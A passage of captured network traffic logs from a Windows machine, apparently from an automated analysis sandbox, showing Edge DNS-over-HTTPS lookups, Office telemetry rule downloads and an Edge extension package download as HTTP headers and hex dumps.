2024-11-25 15:21:34 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 0b 00 04 8e fa 41 c3 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcomA)

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.5	49775	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 15:21:34 UTC	192	OUT	GET /rules/rule120620v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 15:21:35 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 15:21:34 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA701121" x-ms-request-id: ce6e3a8c-101e-0017-74b5-3e47c7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T152134Z-178bfbc474bbbqrhhC1NYCvw7400000007wg00000000224e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 15:21:35 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120620" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.5	49780	162.159.61.3	443	2800	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 15:21:34 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-25 15:21:34 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-25 15:21:35 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Mon, 25 Nov 2024 15:21:34 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e82a118e8bd41ba-EWR alt-svc: h3=":443"; ma=86400
2024-11-25 15:21:35 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 0a 00 04 8e fb 28 a3 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom()

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.5	49774	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 15:21:34 UTC	192	OUT	GET /rules/rule120619v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 15:21:35 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 15:21:34 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:41 GMT ETag: "0x8DC582B9698189B" x-ms-request-id: 30a29eaf-701e-001e-220f-3ef5e6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T152134Z-178bfbc474bbcwv4hC1NYCypys00000007dg00000000n6sf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 15:21:35 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 43 63 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120619" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <SR T="2" R="([Aa][Cc][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.5	49776	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 15:21:34 UTC	192	OUT	GET /rules/rule120621v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 15:21:35 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 15:21:34 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA41997E3" x-ms-request-id: 21648528-e01e-003c-794e-3cc70b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T152134Z-178bfbc474bw8bwphC1NYC38b400000007b000000000s9sz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 15:21:35 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 56 76 5d 5b 4d 6d 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120621" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <SR T="2" R="([Vv][Mm][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.5	49777	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 15:21:34 UTC	192	OUT	GET /rules/rule120622v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 15:21:35 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 15:21:34 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8CEAC16" x-ms-request-id: 4834b854-301e-005d-3ab8-3ee448000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T152134Z-174c587ffdf59vqchC1TEByk68000000065000000000u34t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 15:21:35 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120622" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.5	49787	162.159.61.3	443	2800	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 15:21:34 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-25 15:21:34 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-25 15:21:35 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Mon, 25 Nov 2024 15:21:34 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e82a1198e6a32d3-EWR alt-svc: h3=":443"; ma=86400
2024-11-25 15:21:35 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 07 00 04 8e fa 41 c3 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcomA)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.5	49788	172.64.41.3	443	2800	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 15:21:34 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-25 15:21:34 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-25 15:21:35 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Mon, 25 Nov 2024 15:21:34 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e82a1199c481a34-EWR alt-svc: h3=":443"; ma=86400
2024-11-25 15:21:35 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 24 00 04 8e fa 41 c3 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom$A)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.5	49789	162.159.61.3	443	2800	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 15:21:34 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-25 15:21:34 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-25 15:21:35 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Mon, 25 Nov 2024 15:21:35 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e82a11a0e3418bc-EWR alt-svc: h3=":443"; ma=86400
2024-11-25 15:21:35 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 1f 00 04 8e fb 28 83 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom()

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.5	49779	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 15:21:34 UTC	192	OUT	GET /rules/rule120623v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 15:21:35 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 15:21:35 GMT Content-Type: text/xml Content-Length: 464 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97FB6C3C" x-ms-request-id: 3257ccc0-201e-005d-19b5-3eafb3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T152135Z-178bfbc474bh5zbqhC1NYCkdug00000007m000000000axdz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 15:21:35 UTC	464	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 49 69 5d 5b 47 67 5d 5b 41 61 5d 5b 42 62 5d 5b 59 79 5d 5b 54 74 5d 5b 45 65 5d 20 5b 54 74 5d 5b 45 65 5d 5b 43 63 5d 5b 48 68 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 47 67 5d 5b 59 79 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120623" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <SR T="2" R="([Gg][Ii][Gg][Aa][Bb][Yy][Tt][Ee] [Tt][Ee][Cc][Hh][Nn][Oo][Ll][Oo][Gg][Yy])"> <S T="1" F="1" M="Ignor

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.5	49781	172.217.19.225	443	2800	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 15:21:35 UTC	594	OUT	GET /crx/blobs/AW50ZFsLPhJJyx_4ShcDOgcEpJeOc7Vr0kMzfFRoaMfWx4pAgZ0UGF2i9_ei1A7FAHQ-EPFULeBn7F8_SEKhjbpEyKfiidX7GF_6BDOycMeg5w03wjwVQ61hkaEix8WFqmEAxlKa5cmz_tdFr9JtRwdqRu82wmLe2Ghe/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_84_1_0.crx HTTP/1.1 Host: clients2.googleusercontent.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-25 15:21:35 UTC	573	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Content-Length: 138356 X-GUploader-UploadID: AFiumC5isHQgmb4u0tVksA5hf1k3MbnVznHKmZB6lTKqoNZctsPSRpHdFo-Oey6vXSF6fQvBhWylcQdPxw X-Goog-Hash: crc32c=ld9IFg== Server: UploadServer Date: Sun, 24 Nov 2024 16:45:00 GMT Expires: Mon, 24 Nov 2025 16:45:00 GMT Cache-Control: public, max-age=31536000 Age: 81395 Last-Modified: Tue, 19 Nov 2024 16:44:49 GMT ETag: 2373c8b9_cba0b209_e851cacf_d4df989e_81c52a41 Content-Type: application/x-chrome-extension Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-11-25 15:21:35 UTC	817	IN	Data Raw: 43 72 32 34 03 00 00 00 e0 15 00 00 12 ac 04 0a a6 02 30 82 01 22 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 03 82 01 0f 00 30 82 01 0a 02 82 01 01 00 9c 5e d1 18 b0 31 22 89 f4 fd 77 8d 67 83 0b 74 fd c3 32 4a 0e 47 31 00 29 58 34 b1 bf 3d 26 90 3f 5b 6a 2c 4c 7a fd d5 6a b0 75 cf 65 5b 49 85 71 2a 42 61 2f 58 dd ee dc 50 c1 68 fc cd 84 4c 04 88 b9 99 dc 32 25 33 5f 6f f4 ae b5 ad 19 0d d4 b8 48 f7 29 27 b9 3d d6 95 65 f8 ac c8 9c 3f 15 e6 ef 1f 08 ab 11 6a e1 a9 c8 33 55 48 fd 7c bf 58 8c 4d 06 e3 97 75 cc c2 9c 73 5b a6 2a f2 ea 3f 24 f3 9c db 8a 05 9f 46 25 11 1d 18 b4 49 08 19 94 80 29 08 f2 2c 2d c0 2f 90 65 35 29 a6 66 83 e7 4f e4 b2 71 14 5e ff 90 92 01 8d d3 bf ca a0 d0 39 a0 08 28 e3 d2 5f d5 70 68 32 fe 10 5e d5 59 42 50 58 66 5f 38 cc 0b 08 Data Ascii: Cr240"0H0^1"wgt2JG1)X4=&?[j,Lzjue[IqBa/XPhL2%3_oH)'=e?j3UH\|XMus[*?$F%I),-/e5)fOq^9(_ph2^YBPXf_8
2024-11-25 15:21:35 UTC	1390	IN	Data Raw: 5f b2 be 56 5f e7 71 3a 5f 86 5f 7f f9 35 7d d5 75 53 5c 9b ff 18 eb af ff 78 3f ab fa d7 9f 7e 5d cf 1f 43 2d ff b3 ba 0c 53 3d 4c bf fe f2 f7 5f 63 f1 50 97 42 ea cf d7 8f b0 2d 4d db 10 dc 36 32 b3 69 2a b3 51 d5 e3 f8 c4 ad eb 39 ef e7 ef dc 9c de 2b 53 3d 89 f4 f8 84 0e 2f 36 3a df cf c2 57 83 c8 90 71 6c 2f 67 fd f9 26 6a a9 79 fc f9 7b af ae 22 8b ce b1 9a fe 7c 1c dc 46 fa 1f e7 f8 7c 9c a3 f6 e3 56 f9 f6 f0 f3 99 aa 77 be 25 74 2e 79 86 2e 3f df 17 26 e2 e2 61 cc 9c 7f 3c d2 6e c2 88 c1 89 f6 53 2b 7c d4 17 3d 05 72 61 c7 0a 84 08 01 b1 27 7d f8 28 82 70 57 fb c2 16 8f d0 39 05 d7 73 e5 43 a3 d8 1f 9f 8e ca b9 96 26 6a 4a 9f 2d 27 13 f6 27 13 a8 ca 42 8d 30 f5 75 3f 2e a5 b9 3b 9f f6 e1 a3 34 9d 7f cf f3 e7 d9 c2 b9 f0 d4 c0 ac e6 90 42 86 4e 5c Data Ascii: _V_q:__5}uS\x?~]C-S=L_cPB-M62i*Q9+S=/6:Wql/g&jy{"\|F\|Vw%t.y.?&a<nS+\|=ra'}(pW9sC&jJ-''B0u?.;4BN\
2024-11-25 15:21:35 UTC	1390	IN	Data Raw: 8e b5 a1 c8 fb ee 81 60 65 eb 98 45 ab ec b5 f7 df 38 3e ce 17 36 8b 4c d7 7b 85 4d 64 18 16 65 b0 90 1e f2 cb 03 4c 8a 00 e1 48 79 96 ec 9b 3d f6 a0 d6 80 10 57 0f 10 60 43 7e af 8e 3f 1c b7 7a ee 1d 59 c2 29 1a 94 12 c6 ec 9e 28 ba 47 74 ea a9 92 fb f2 20 bd f4 20 c3 8a 8a 04 03 ec 56 83 d6 68 aa f5 88 d1 39 0a d6 d7 be fa 7f 68 70 d5 e2 31 37 1a 25 03 f1 55 98 2a 4b bd 68 22 81 eb 25 ad 18 84 19 e6 b8 d7 a1 60 b9 67 e1 89 9c f6 e2 ad 52 d0 c5 a6 dc ad e7 9e dc ca 7f d2 3e 77 87 7d e1 a1 a5 e9 a4 17 9a 04 c0 1e 05 42 14 c6 78 22 8b d6 00 1f f3 28 78 31 13 f3 7e 67 01 4e 72 8a 0f 75 ff 71 5f e5 6f 6d cd bd d1 43 0a 76 99 35 be 4a e5 2d 31 6c 3a 02 10 c5 56 13 ea 1e 23 15 1d 58 74 af 43 75 3d f0 13 03 bc 22 